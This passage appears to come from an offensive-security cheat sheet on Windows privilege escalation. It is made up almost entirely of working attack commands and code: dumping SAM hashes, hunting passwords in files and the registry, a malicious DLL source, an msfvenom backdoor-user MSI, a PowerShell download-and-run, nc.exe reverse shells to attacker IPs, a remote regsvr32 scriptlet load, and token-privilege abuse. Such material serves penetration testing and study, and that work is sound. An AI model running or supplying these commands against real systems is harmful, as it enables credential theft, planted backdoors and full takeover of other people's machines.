## EoP - Looting for passwords
### SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
```powershell
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```
Generate a hash file for John using `pwdump` or `samdump2`.
```powershell
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```
Either crack it with `john -format=NT /root/sam.txt`, [hashcat](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Hash%20Cracking.md#hashcat) or use Pass-The-Hash.
### HiveNightmare
> CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user
Check for the vulnerability using `icacls`
```powershell
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX) <-- this is wrong - regular users should not have read access!
```
Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.
```powershell
mimikatz> token::whoami /full
# List shadow copies available
mimikatz> misc::shadowcopies
# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
```
### LAPS Settings
Extract `HKLM\Software\Policies\Microsoft Services\AdmPwd` from Windows Registry.
* LAPS Enabled: AdmPwdEnabled
* LAPS Admin Account Name: AdminAccountName
* LAPS Password Complexity: PasswordComplexity
* LAPS Password Length: PasswordLength
* LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled
### Search for file contents
```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config 2>nul >> results.txt
findstr /spin "password" *.*
```
Also search in remote places such as SMB Shares and SharePoint:
* Search passwords in SharePoint: [nheiniger/SnaffPoint](https://github.com/nheiniger/SnaffPoint) (must be compiled first, for referencing issue see: https://github.com/nheiniger/SnaffPoint/pull/6)
```powershell
# First, retrieve a token
## Method 1: using SnaffPoint binary
$token = (.\GetBearerToken.exe https://your.sharepoint.com)
## Method 2: using AADInternals
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
$token = (Get-AADIntAccessToken -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc" -Tenant "your.onmicrosoft.com" -Resource "https://your.sharepoint.com")
# Second, search on Sharepoint
## Method 1: using search strings in ./presets dir
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token
## Method 2: using search string in command line
### -l uses FQL search, see: https://learn.microsoft.com/en-us/sharepoint/dev/general-development/fast-query-language-fql-syntax-reference
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token -l -q "filename:.config"
```
* Search passwords in SMB Shares: [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler)
### Search for a file with a certain filename
```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```
### Search the registry for key names and passwords
```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```
### Passwords in unattend.xml
Location of the unattend.xml files.
```powershell
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```
Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`.
Example content
```powershell
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
```
Unattend credentials are stored in base64 and can be decoded manually with base64.
```powershell
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
SecretSecurePassword1234*
```
The Metasploit module `post/windows/gather/enum_unattend` looks for these files.
### IIS Web config
```powershell
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
```powershell

## EoP - Processes Enumeration and Tasks
* What processes are running?
```powershell
tasklist /v
net start
sc query
Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
```
* Which processes are running as "system"
```powershell
tasklist /v /fi "username eq system"
```
* Do you have powershell magic?
```powershell
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
```
* List installed programs
```powershell
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
* List services
```powershell
net start
wmic service list brief
tasklist /SVC
```
* Enumerate scheduled tasks
```powershell
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```
* Startup tasks
```powershell
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```
## EoP - Incorrect permissions in services
> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
Often, services are pointing to writeable locations:
- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking
```powershell
# find missing DLL
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"
# compile a malicious dll
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
# content of windows_dll.c
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
```
- PATH directories with weak permissions
```powershell
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
```
Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions`
Note to check file permissions you can use `cacls` and `icacls`
> icacls (Windows Vista +)
> cacls (Windows XP)
You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output.

## EoP - Windows Subsystem for Linux (WSL)
Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032)
> With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ <distro>.exe --default-user root. Now start your bind shell or reverse.
```powershell
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`
## EoP - Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
* Metasploit exploit : `exploit/windows/local/trusted_service_path`
* PowerUp exploit
```powershell
# find the vulnerable application
C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"
...
[*] Checking for unquoted service paths...
ServiceName : BBSvc
Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
...
# automatic exploit
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
```
### Example
For `C:\Program Files\something\legit.exe`, Windows will try the following paths first:
- `C:\Program.exe`
- `C:\Program Files.exe`
## EoP - $PATH Interception
Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is _before_ the folder that contains the legitimate binary.
EXAMPLE:
```powershell
# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path
# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"
# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```
Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
## EoP - Named Pipes
1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")`
2. Check named pipes DACL: `pipesec.exe <named_pipe>`
3. Reverse engineering software
4. Send data throught the named pipe : `program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe`

To cross compile a program from Kali, use the following command.
```powershell

```
## EoP - Microsoft Windows Installer
### AlwaysInstallElevated
Using the `reg query` command, you can check the status of the `AlwaysInstallElevated` registry key for both the user and the machine. If both queries return a value of `0x1`, then `AlwaysInstallElevated` is enabled for both user and machine, indicating the system is vulnerable.
* Shell command
```powershell
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```
* PowerShell command
```powershell
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
```
Then create an MSI package and install it.
```powershell
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi
```
Technique also available in :
* Metasploit : `exploit/windows/local/always_install_elevated`
* PowerUp.ps1 : `Get-RegistryAlwaysInstallElevated`, `Write-UserAddMSI`
### CustomActions
> Custom Actions in MSI allow developers to specify scripts or executables to be run at various points during an installation
* [mgeeky/msidump](https://github.com/mgeeky/msidump) - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner.
* [activescott/lessmsi](https://github.com/activescott/lessmsi) - A tool to view and extract the contents of an Windows Installer (.msi) file.
* [mandiant/msi-search](https://github.com/mandiant/msi-search) - This tool simplifies the task for red team operators and security teams to identify which MSI files correspond to which software and enables them to download the relevant file.
Enumerate products on the machine
```ps1
wmic product get identifyingnumber,name,vendor,version
```
Execute the repair process with the `/fa` parameter to trigger the CustomActions.
We can use both IdentifyingNumber `{E0F1535A-8414-5EF1-A1DD-E17EDCDC63F1}` or path to the installer `c:\windows\installer\XXXXXXX.msi`.
The repair will run with the NT SYSTEM account.
```ps1
$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "PRODUCTNAME"
$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"
```
Common mistakes in MSI installers:
* Missing quiet parameters: it will spawn `conhost.exe` as `NT SYSTEM`. Use `[CTRL]+[A]` to select some text in it, it will pause the execution.
* conhost -> properties -> "legacy console mode" Link -> Internet Explorer -> CTRL+O –> cmd.exe
* GUI with direct actions: open a URL and start the browser then use the same scenario.
* Binaries/Scripts loaded from user writable paths: you might need to win the race condition.
* DLL hijacking/search order abusing
* PowerShell `-NoProfile` missing: Add custom commands into your profile
```ps1
new-item -Path $PROFILE -Type file -Force
echo "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE
```
## EoP - Insecure GUI apps
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
## EoP - Evaluating Vulnerable Drivers

## EoP - Runas
Use the `cmdkey` to list the stored credentials on the machine.
```powershell
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
Then you can use `runas` with the `/savecred` options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.
```powershell
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"
```
Using `runas` with a provided set of credential.
```powershell
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```
```powershell
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
```
## EoP - Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation.
```powershell
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
# List shadow copies using diskshadow
diskshadow list shadows all
# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```
## EoP - From local administrator to NT SYSTEM
```powershell
PsExec.exe -i -s cmd.exe
```
## EoP - Living Off The Land Binaries and Scripts
Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/
> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
Have extra "unexpected" functionality. It is not interesting to document intended use cases.
Exceptions are application whitelisting bypasses
* Have functionality that would be useful to an APT or red team
```powershell
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
```
## EoP - Impersonation Privileges
Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
| Privilege | Impact | Tool | Execution path | Remarks |
| --- | --- | --- | --- | --- |
|`SeAssignPrimaryToken`| ***Admin*** | 3rd party tool | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"* | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br> <br>- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.<br> <br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. ||
|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys` or `capcom.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) |
|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`<br>2. `icalcs.exe "%windir%\system32" /grant "%username%":F`<br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.<br> <br>To be verified. ||
|`SeRelabel`| ***Admin*** | 3rd party too | [decoder-it/RelabelAbuse](https://github.com/decoder-it/RelabelAbuse) | Allows you to own resources that have an integrity level even higher than your own |

## EoP - Privileged File Write
### DiagHub
:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.
The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM.
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the `C:\Windows\System32` directory.
#### Exploit
1. Create an [evil DLL](https://gist.github.com/xct/3949f3f4f178b1f3427fae7686a2a9c0) e.g: payload.dll and move it into `C:\Windows\System32`
2. Build https://github.com/xct/diaghub
3. `diaghub.exe c:\\ProgramData\\ payload.dll`
The default payload will run `C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe`
Alternative tools:
* https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
* https://github.com/decoder-it/diaghub_exploit
### UsoDLLLoader
:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.
> An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)
If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of `windowscoredeviceinfo.dll` into `C:\Windows\Sytem32\` and then have it loaded by the USO service to get arbitrary code execution as **NT AUTHORITY\System**.
#### Exploit
1. Build https://github.com/itm4n/UsoDllLoader
* Select Release config and x64 architecure.
* Build solution.
* DLL .\x64\Release\WindowsCoreDeviceInfo.dll
* Loader .\x64\Release\UsoDllLoader.exe.
2. Copy `WindowsCoreDeviceInfo.dll` to `C:\Windows\System32\`
3. Use the loader and wait for the shell or run `usoclient StartInteractiveScan` and connect to the bind shell on port 1337.
### WerTrigger
> Exploit Privileged File Writes bugs with Windows Problem Reporting
1. Clone https://github.com/sailay1996/WerTrigger
2. Copy `phoneinfo.dll` to `C:\Windows\System32\`
3. Place `Report.wer` file and `WerTrigger.exe` in a same directory.
4. Then, run `WerTrigger.exe`.
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**
### WerMgr
> Exploit Privileged Directory Creation Bugs with Windows Error Reporting
1. Clone https://github.com/binderlabs/DirCreate2System
2. Create directory `C:\Windows\System32\wermgr.exe.local\`
3. Grant access to it: `cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f`
4. Place `spawn.dll` file and `dircreate2system.exe` in a same directory and run `.\dircreate2system.exe`.
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**
## EoP - Privileged File Delete
During an MSI installation, the Windows Installer service maintains a record of every changes in case it needs to be rolled back, to do that it will create:
* a folder at `C:\Config.Msi` containing
* a rollback script (`.rbs`)
* a rollback file (`.rbf`)
To convert a privileged file delete to a local privilege escalation, you need to abuse the Windows Installer service.
* delete the protected `C:\Config.Msi` folder immediately after it's created by the Windows Installer
* recreate the `C:\Config.Msi` folder with weak DACL permissions since ordinary users are allowed to create folders at the root of `C:\`.
* drop malicious `.rbs` and `.rbf` files into it to be executed by the MSI rollback
* then upon rollback, Windows Installer will make arbitrary changes to the system
The easiest way to trigger this chain is using [thezdi/FilesystemEoPs/FolderOrFileDeleteToSystem](https://github.com/thezdi/PoC/tree/master/FilesystemEoPs/FolderOrFileDeleteToSystem).
The exploit contains a .msi file with 2 actions, the first one produces a delay and the second throws an error to make it rollback. This rollback will "restore" a malicious HID.dll in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
Then switch to the secure desktop using `[CTRL]+[ALT]+[DELETE]` and open the On-Screen Keyboard (`osk.exe`).
The `osk.exe` process first looks for the `C:\Program Files\Common Files\microsoft shared\ink\HID.dll` library instead of `C:\Windows\System32\HID.dll`
